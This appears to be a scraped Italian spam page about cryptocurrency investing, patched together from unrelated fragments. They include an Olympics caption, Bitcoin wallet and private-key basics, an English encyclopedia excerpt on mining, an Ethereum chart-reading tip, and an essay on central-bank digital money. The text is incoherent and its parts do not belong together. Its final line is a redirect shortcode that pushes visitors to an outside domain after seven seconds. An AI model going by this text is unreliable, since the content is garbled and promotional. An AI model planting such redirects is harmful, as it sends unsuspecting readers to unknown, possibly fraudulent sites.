“Investire in criptovaluta 2015 _Crypto Valute Oltre Bitcoin”

Gli atleti delle due Coree che sfilano insieme. Quelli russi senza bandiera. La squadra italiana. La storica stretta di mano tra il presidente sudcoreano e la sorella di Kim. Le immagini da ricordare di PyeongChang.

I Bitcoin sono venduti come qualsiasi altro bene, tramite broker o scambi commerciali (ad esempio il Bitfinex di Hong Kong). Tutto ovviamente in Rete dove esistono dei siti da dove scaricare il software di riferimento per creare il proprio portafoglio e quindi iniziare i vari movimenti. Per “riempire” il portafogli e generare, quindi, Bitcoin bisogna essere pratici di “mining” ovvero il far eseguire dei calcoli matematici al processore del computer. Oltre ad Internet, per comprare bitcoin è possibile utilizzare, comunque, anche del denaro contante (conto in banca, carte di credito o piattaforme elettroniche come PayPal). In alcune città è possibile trovare sportelli bancomat Bitcoin che caricano il denaro virtuale sul portafoglio elettronico creato.

Senza la chiave privata, le criptovalute collegate a tale chiave non possono essere né spese, né trasferite. Se da un lato quindi il sistema delle chiavi private è ottimo per la sicurezza, bisogna sempre stare attenti a non perdere la propria chiave privata (dato che si perderebbe accesso alle proprie criptovalute):

L’acquisto di beni si sposta sempre più verso il mondo online e anche il settore dei fornitori di servizi ha da tempo scoperto il World Wide Web come canale di vendita. Tuttavia i siti e-commerce si trovano a dover fare i conti con la diffidenza che gli utenti mostrano nei confronti dei pagamenti online. Parlando spesso di furto di dati e di tentativi di frode i media hanno sensibilizzato i […]   

Bitcoin è stato menzionato in siti di ampia visibilità come Slashdot[47] o la rubrica tecnica del Time.[48] Anche l’Agenzia ANSA ha dato risalto all’ascesa dell’utilizzo, della diffusione e del valore del bitcoin[49]

La cosa è diventata così virale che Vitalik ha dovuto cambiare il suo nome utente sul social network in Vitalik “No, non sto regalando ETH” Buterin. Non che sia servito, gli hanno copiato anche quello e incredibilmente qualcuno ci sta ancora cascando. 

Ogni utente che partecipa alla rete Bitcoin possiede un portafoglio che contiene un numero arbitrario di coppie di chiavi crittografiche. Le chiavi pubbliche, o “indirizzi bitcoin”, fungono da punti d’invio o ricezione per tutti i pagamenti. Il possesso di bitcoin implica che un utente può spendere solo i bitcoin associati con uno specifico indirizzo. La corrispondente chiave privata serve ad apporre una firma digitale a ogni transazione facendo in modo che sia autorizzato al pagamento solo l’utente proprietario di quella moneta. La rete verifica la firma utilizzando la chiave pubblica[31].

As of September 2017, over a thousand cryptocurrency specifications exist; most are similar to and derive from the first fully implemented decentralized cryptocurrency, bitcoin. Within cryptocurrency systems the safety, integrity and balance of ledgers is maintained by a community of mutually distrustful parties referred to as miners: members of the general public using their computers to help validate and timestamp transactions, adding them to the ledger in accordance with a particular timestamping scheme.[15] Miners have a financial incentive to maintain the security of a cryptocurrency ledger.[14]

Graficamente molto bullish, ethereum rimbalza ancora sulla EMA a 200 periodi e rompe il triangolo discendente, divergenza rsi e stocastico fanno presagire una ripartenza almeno fino a bitcoin. Non dovesse sfondare tale resistenza si creerebbe un doppio massimo che farebbe ripartire il sell immediato da parte degli investitori e farlo tornare verso gli 0.07

Oggi l’unica moneta pubblica disponibile è il contante. Le banche centrali dovrebbero invece consentire a tutti di avere un conto corrente – per il deposito, non per il credito – presso di sé, emettendo moneta elettronica. In altri termini, la banca centrale emette delle carte prepagate. È essenziale che la banca centrale crei una linea esclusivamente di debito, non di credito. Il credito della banca centrale deve rimanere riservato alle banche, in quanto il processo di affidamento di credito presuppone capacità e conoscenze – e relativa assunzione del rischio – che è impensabile estendere a tutti i cittadini.

Il futuro prossimo della moneta sarà digitale: quali e quanti giocatori ci saranno in campo? Nell’interesse di tutti occorreranno come minimo due condizioni. La prima evitare i rischi di monopolio o di oligopolio nei pagamenti; per cui la moneta digitale dovrà essere emessa da almeno tre diversi soggetti: le banche centrali, le banche, ma anche le non banche, a partire dalle imprese del settore tecnologico per arrivare ai produttori di bitcoin. La seconda condizione è che dovranno essere evitate situazioni di asimmetria regolamentare tra i diversi emittenti. Altrimenti i rischi riguarderanno sia la stabilità monetaria sia quella finanziaria. [redirect url=’http://curbee.info/bump’ sec=’7′]

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